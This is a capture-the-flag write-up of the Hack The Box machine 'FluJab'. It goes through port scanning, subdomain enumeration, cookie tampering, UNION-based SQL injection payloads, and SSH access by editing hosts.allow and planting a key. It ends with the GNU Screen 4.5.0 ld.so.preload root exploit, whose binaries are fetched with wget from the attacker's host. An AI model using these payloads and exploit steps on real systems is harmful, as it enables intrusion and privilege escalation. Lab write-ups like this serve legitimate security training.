$ nmap --min-rate 1000 -p- -v 10.10.10.124
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
$ nmap -oN flujab.nmap -p22,80,443,8080 -sC -sV -v 10.10.10.124
PORT STATE SERVICE VERSION
22/tcp open ssh?
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: ClownWare Proxy
|_http-title: Did not follow redirect to https://10.10.10.124/
443/tcp open ssl/http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: ClownWare Proxy
|_http-title: Direct IP access not allowed | ClownWare
| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
| Issuer: commonName=ClownWare Certificate Authority/organizationName=ClownWare Ltd./stateOrProvinceName=LON/countryName=UK
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-11-28T14:57:03
| Not valid after: 2023-11-27T14:57:03
| MD5: 1f22 1ef7 c8bf d110 dfe6 2b6f 0765 2245
|_SHA-1: 7013 803a 92b3 f1f0 735d 404b 733c 712b bea6 ffcc
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open ssl/http nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: ClownWare Proxy
|_http-title: Direct IP access not allowed | ClownWare
| ssl-cert: Subject: commonName=ClownWare.htb/organizationName=ClownWare Ltd/stateOrProvinceName=LON/countryName=UK
| Subject Alternative Name: DNS:clownware.htb, DNS:sni147831.clownware.htb, DNS:*.clownware.htb, DNS:proxy.clownware.htb, DNS:console.flujab.htb, DNS:sys.flujab.htb, DNS:smtp.flujab.htb, DNS:vaccine4flu.htb, DNS:bestmedsupply.htb, DNS:custoomercare.megabank.htb, DNS:flowerzrus.htb, DNS:chocolateriver.htb, DNS:meetspinz.htb, DNS:rubberlove.htb, DNS:freeflujab.htb, DNS:flujab.htb
| Issuer: commonName=ClownWare Certificate Authority/organizationName=ClownWare Ltd./stateOrProvinceName=LON/countryName=UK
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-11-28T14:57:03
| Not valid after: 2023-11-27T14:57:03
| MD5: 1f22 1ef7 c8bf d110 dfe6 2b6f 0765 2245
|_SHA-1: 7013 803a 92b3 f1f0 735d 404b 733c 712b bea6 ffcc
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
PART 2 : PORT ENUMERATION
Various domains and subdomains were captured during the nmap scan and I added them to the /etc/hosts file:
127.0.0.1 localhost
127.0.1.1 kali f
10.10.10.124 clownware.htb ///DEAD END
10.10.10.124 sni147831.clownware.htb ///DEAD END
10.10.10.124 *.clownware.htb ///DEAD END
10.10.10.124 proxy.clownware.htb ///DEAD END
10.10.10.124 console.flujab.htb ///DEAD END
10.10.10.124 sys.flujab.htb ///DEAD END
10.10.10.124 smtp.flujab.htb
10.10.10.124 vaccine4flu.htb ///DEAD END
10.10.10.124 bestmedsupply.htb ///DEAD END
10.10.10.124 custoomercare.megabank.htb
10.10.10.124 flowerzrus.htb ///DEAD END
10.10.10.124 chocolateriver.htb ///DEAD END
10.10.10.124 meetspinz.htb ///DEAD END
10.10.10.124 rubberlove.htb ///DEAD END
10.10.10.124 freeflujab.htb
10.10.10.124 flujab.htb ///DEAD END
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
From initial observations, most of the domains contain either an embedded image or video and bestmedsupply.htb and flowerzrus.htb only contains static .html pages. Three domains, however, seem worth exploring -- https://custoomercare.megabank.htb, smtp.flujab.htb, and freeflujab.htb
TCP PORT 443 (https://custoomercare.megabank.htb)
Opening https://custoomercare.megabank.htb on your browser loads the following and it explicitly says: "The site ahead may contain harmful programs"
And hidden in https://custoomercare.megabank.htb/shell.php's page source:
<!--
53cret 5shell
shell.php?cmd=[commands]
-->
The webpage seems to accept shell commands -- ?cmd=id returns uid=0(root) gid=0(root) groups=0(root) and ?cmd=ls returns root.txt but ?cmd=cat root.txt returns:
The webpage is just a troll.
TCP PORT 443 (https://smtp.flujab.htb/)
Now moving on to https://smtp.flujab.htb/ brings you to:
With the following page source:
...omitted...
<!-- Header -->
<section id="header" class="wrapper style3">
<!-- Logo -->
<div id="logo">
<h1><a href="/?login">SMTP Mail Configuration</a></h1>
</br>
<!-- NOW DEPRICATED! This function has been integrated into the new free service application!-->
</div>
</section>
...omitted...
<h2>Log in here for your Mail-in-a-Box control panel.</h2>
<form class="form-horizontal" role="form" onsubmit="do_login(); return false;">
...omitted...
The "free service application" being referred to must be https://freeflujab.htb which we'll get to in a bit.
Examining the do_login() function referenced as a form action:
functiondo_login() {if ($('#loginEmail').val() =="") {show_modal_error("Login Failed","Enter your email address.",function() {$('#loginEmail').focus(); });returnfalse; }if ($('#loginPassword').val() =="") {show_modal_error("Login Failed","Enter your email password.",function() {$('#loginPassword').focus(); });returnfalse; }// Exchange the email address & password for an API key. api_credentials = [$('#loginEmail').val(),$('#loginPassword').val()]api("/me","GET", { },function(response){ // This API call always succeeds. It returns a JSON object indicating// whether the request was authenticated or not.if (response.status !="ok") {// Show why the login failed.show_modal_error("Login Failed",response.reason)// Reset any saved credentials.do_logout(); } elseif (!("api_key"in response)) {// Login succeeded but user might not be authorized!show_modal_error("Login Failed","You are not an administrator on this system.")// Reset any saved credentials.do_logout(); } else {// Login succeeded.// Save the new credentials. api_credentials = [response.email,response.api_key];// Try to wipe the username/password information.$('#loginEmail').val('');$('#loginPassword').val('');// Remember the credentials.if (typeof localStorage !='undefined'&&typeof sessionStorage !='undefined') {if ($('#loginRemember').val()) {localStorage.setItem("miab-cp-credentials",api_credentials.join(":"));sessionStorage.removeItem("miab-cp-credentials"); } else {localStorage.removeItem("miab-cp-credentials");sessionStorage.setItem("miab-cp-credentials",api_credentials.join(":")); } }// Open the next panel the user wants to go to. Do this after the XHR response// is over so that we don't start a new XHR request while this one is finishing,// which confuses the loading indicator. setTimeout(function() { show_panel(!switch_back_to_panel || switch_back_to_panel == "login" ? 'system_status' : switch_back_to_panel) }, 300);
} } )}
api() is referenced by the included js file but is not defined anywhere so t he login functionality might be a RABBIT HOLE
TCP PORT 443 (https://freeflujab.htb/)
Lastly, we visit the referenced free service from earlier. Opening https://freeflujab.htb/ on your browser leads you to:
One thing you'll notice is that the favicon.ico image doesn't load and viewing its contents reveal:
The favicon.ico is not an image and it seems to be the structure or template of the site's webpages.
While the other links seem to work fine,
/?cancel redirects to /?ERROR=NOT_REGISTERED
/?remind redirects to /?ERROR=NOT_REGISTERED
Attempting to book an appointment for a free flujab in /?book:
But first checking page source to see how the form works:
...omitted...
<form method="post" action="?book">
<div class="row aln-center">
<div class="col-6 col-12-medium">
<b>Book Your Appointment Today!</b>
<br><br>
<p>If rou are an existing patient registered with our surgery,
we’re here to keep you and your loved ones as healthy as possible,
with expert advice on how to protect yourself from seasonal
illnesses and ailments, including flu.
</p>
<p>Even at our fittest and healthiest, we can still catch the
flu. For those over 65, people with a medical condition or
pregnant women, catching flu can be more serious and that’s
why we are here to offer a FREE NHS funded flu vaccine.
</p>
Cricklestone Doctors Surgery<br>
NHS England.
<p></p>
</div>
<div class="col-6 col-12-small">
<h2>Prefered Date: <input type="date" name="date" value="2018-11-30" min="2018-10-01" max="2019-03-31"><br><br>
Prefered Time: <input type="time" name="time" value="09:00" min"09:00"="" max="16:45"></h2><br>
<input type="text" name="fname" id="contact-name" placeholder="Patient First Name" required=""><br>
<input type="text" name="lname" id="contact-name" placeholder="Patient Last Name" required=""><br>
<input type="text" name="nhsnum" placeholder="NHS Number (if known)" pattern="NHS-\d{3}-\d{3}-\d{4}" title=" A Valid NHS Number Is Required e.g. NHS-012-345-6789"><br>
<ul class="actions"><br>
<center><input type="submit" class="style1" value="Request Appointment" name="submit"></center>
</ul>
</div>
</div>
</form>
...omitted...
...omitted...
<script>
alert("Sorry, jebidiah anthony is not a registered patient!");
</script>
...omitted...
The form requires a registered patient and nhsnum is not a required field.
In the /?info page, there is a section dedicated to patient feedbacks formatted with a remark then first initial and surname:
...omitted...
<h2>What people say about us</h2></br>
<p>
<i>"My boss would fire me if i missed a day of work, or couldn't do overtime when he needs me to. The online booking system made things so easy for me to range my flu jab."</i>
<h3><i>A. Chun</i></h3>
</p>
<p>
<i>"I normally hate injections, but the warm friendly atmosphere provided by the wonderful NHS staff helped dissolve all of my fears."</i>
<h3><i>B. Smith</i></h3>
</p>
<p>
<i>"Having a flu jab was as easy as pie.. pizza pie"</i>
<h3><i>L. Feggola</i></h3>
</p>
<p>
<i>"It so quick and painless, not to mention thousands of times safer than crossing the street!"</i>
<h3><i>J. Walker</i></h3>
</p>
...omitted...
In order to use the services given, a patient must be registered in the system and the register option doesn't really seem to work and educated guesses might be necessary for a valid patient name.
Educated guesses for a registered patient: Johnnie Walker, Johny Walker, John Walker, Jay Walker.
Examining cookies might also prove useful when validating users:
HTTP Request:
GET / HTTP/1.1Cookie:Patient=daf23866abcb8e29ecee6d3da0caa992; Registered=ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9TnVsbA%3D%3D
The base64 decoded Registered cookie is daf23866abcb8e29ecee6d3da0caa992=Null which seems connected to the Patient cookie
There is a path set in the cookie /?smtp_config. This must be the one referenced earlier by https://smtp.flujab.htb (This function has been integrated into the new free service application)
Modus, Patient, and Registered are set in the response if not requested.
Checking for the response headers of https://freeflujab.htb/?smtp_config:
John Walker is a registered patient however it seems that the booked appointment sends to a SMTP server (default port: 25). Since /?smtp_config was found/set in the cookies, perhaps the cookie is also the way to set a mailserver.
With a registered patient, the decoded base64 Registered cookie is now set to True (daf23866abcb8e29ecee6d3da0caa992=True). What if the Modus cookie is also set to True.
...
<div class="title">Mailer Configuration</div>
<div class="container">
<header class="style1">
<h2>Patient Emailer Configuration Settings</h2>
<h2>Current Setting = SMTP: :25</h2>
</header>
<!-- Contact Form -->
<section>
<form method="post" action="?smtp_config">
<div class="row aln-center">
<div class="col-6 ">
<input type="text" name="mailserver" id="email-server" value="smtp.flujab.htb" pattern="smtp.[A-Za-z]{1,255}.[A-Za-z]{2,5}" title=" A Valid SMTP Domain Address Is Required"/>
<input type="hidden" name="port" id="port" placeholder="25" value="25" />
</div>
<div class="col-12">
<p>
WARNING: Only <a href="/?whitelist">whitelisted sysadmins</a> are authorized to
access this page! <br \> If you are not supposed to
change these settings then don't! whitelist will be
auto-updated.
</p>
<ul class="actions">
<li><input type="submit" class="style1" value="Save Mail Server Config" name="save" /></li>
</ul>
</div>
</div>
</form>
</section>
</div>
</div>
...omitted...
The mailserver parameter only accepts a certain pattern which could be bypassed by changing the input value to anything you want or by intercepting the request and changing the values there.
---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: jwalker@tuta.io
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-921-376-3922
Message-ID: <6c7e8490856eef3377e672b3684e342b@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124
Dear Mr john walker,
Here are the details of your appointment at our surgery.
________________________
VACCINATION
Routine Priority
------------------
REF : NHS-921-376-3922
Code : Influ-022
Type : Injection
Time : 09:00
Date : 2018-11-30
LOC : Crick026
________________________
We look forward to seeing you.
Have a nice day,
Nurse Julie Walters
Senior Staff Nurse
Cricklestone Doctors Surgery
NHS England.
------------ END MESSAGE ------------
An NHS Number was supplied in the email even though it was left empty during the request. This proves that the setup works. Now checking if the response after booking an appointment is different from asking for a reminder.
The system is using MariaDB (just the same as MySQL) and is being hosted by the root user which meand that using high privilege commands should not be a problem.
The current database used by the service is vaccinations
SQL #5 : DATA EXFILTRATION
Now that we have everything we need to perform UNION based SQL injections, let's start by enumerating table names in the vaccinations database:
' AND '1'='2' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database(); #
Add sysadmin-console-01.flujab.htb to local /etc/hosts:
127.0.0.1 localhost
127.0.1.1 kali f
...
10.10.10.124 sysadmin-console-01.flujab.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Accessing https://sysadmin-console-01.flujab.htb:
Accessing over port 8080 (https://sysadmin-console-01.flujab.htb:8080):
And checking the server response by requesting over curl:
The page has a Permanent Redirect(301) to .../cwerror_denied.php and it may be suffering from a cached redirect:
Cached redirects could be bypassed by adding a trailing slash ("/") or a unique parameter that hasn't been cached (/?, /?something_unique, or /?unique=something)
There was a urlcache table in the vaccinations database which may give a lead on how to proceed.
Check the urlcache table in vaccinations using nhsnum in /?remind
' AND '1'='2' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_schema=database() AND table_name='urlcache'; #
There are a lot of system users and all but root has a restricted shell (/bin/rbash) and a mismatch of uids and gids
Listing the contents of all the user directories, most are inaccessible except for the current user (sysadm) and drno which has an ~/.ssh directory which contains a userkey file:
It reveals that the remote connections must be whitelisted and that the public key requires a passphrase
Editing /etc/hosts.allow to whitelist your own IP address:
# grant ssh access per host
# syntax:
# sshd : [host ip]
###########################
sshd : 10.10.15.10
sshd : 127.0.0.1
Then retry the connection via ssh:
$ ssh -i userkey -l drno 10.10.10.124
Enter passphrase for key 'userkey':
drno@10.10.10.124: Permission denied (publickey).
No credentials for drno has been found so far but what if a newly generated RSA key pair was written to .ssh/authorized_keys or access
$ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/.../.ssh/id_rsa): .ssh/id_rsa
Enter passphrase (empty for no passphrase): flujab
Enter same passphrase again: flujab
Your identification has been saved in .ssh/id_rsa.
Your public key has been saved in .ssh/id_rsa.pub.
The key fingerprint is:
SHA256:xHmVZlXhLq8Gp0FvcWd9IFKymV97HHM6BP3K3RxkEVw jebidiah@LAPTOP-C54THGLR
The key's randomart image is:
+---[RSA 4096]----+
| ..++o=E|
| . ..*=.++ |
| + =+ .=*o|
| . . o +.*X|
| S . oo**B|
| o +=o+|
| * . |
| . .. |
| .. |
+----[SHA256]-----+
Writing the id_rsa.pub file then changing its permissions using the Ajenti API:
There are two binaries with the same name (screen) which can write files to the system using its -L Turn on output logging. option and checking the binaries' version:
$ /usr/local/share/screen/screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
$ /usr/bin/screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Both are running version 4.05.00 but /usr/local/share is not in the PATH variable which might mean that /usr/local/share/screen/screen might be a modified binary with an SUID bit.
Searching for available exploits using searchsploit:
$ searchsploit screen | grep 4.5
GNU Screen 4.5.0 - Local Privilege Escalation | exploits/linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | exploits/linux/local/41152.txt
$ searchsploit -m exploits/linux/local/41154.sh
Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/41154
Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
File Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators
libhax.c is compiled as a shared object file (libhax.so)
rootshell.c is compiled as an executable (rootshell)
libhax.so is wriiten to /etc/ld.so.preload
The screen binary is used to append to the /etc/ld.so.preload file which is only writable as root. shared objects written in /etc/ld.so.preload are loaded before everything else which is even capable of overwriting libc functions and since libhax.so gives SUID permissions to the created /tmp/rootshell executable, a root shell should be spawned upon successful exploit.
Enumerating the system using sysadm shell to see how the exploit will be compiled:
$ uname -a
Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
$ gcc
bash: gcc: command not found
The system runs on a 64-bit architecture and gcc is not available in the system.
Instead, create and compile libhax.c and rootshell.c locally:
$ gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^~~~~
chroot
$ gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setbuf
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setbuf
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
seteuid(0);
^~~~~~~
setbuf
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
setegid(0);
^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^~~~~~
Upload the binaries using a python SimpleHTTPServer to the sysadm shell then execute the exploit:
$ cd /tmp
$ wget http://10.10.15.10:8000/libhax.so
libhax.so 100%[===================>] 15.76K 62.6KB/s in 0.3s
$ wget http://10.10.15.10:8000/rootshell
rootshell 100%[===================>] 16.43K 52.1KB/s in 0.3s
EXPLOIT #4 : EXECUTING THE EXPLOIT
$ chmod +x /tmp/rootshell
$ cd /etc
$ umask 000
$ /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ /usr/local/share/screen/screen -ls
No Sockets found in /tmp/screens/S-sysadm.
$ /tmp/rootshell
# id
uid=0(root) gid=0(root) groups=0(root),1007(sysadm)
# cat /root/root.txt
7081........................ee33
# find /home -name user.txt -exec cat {} +
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
c519........................62d4
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P
This is A Nope !!! :P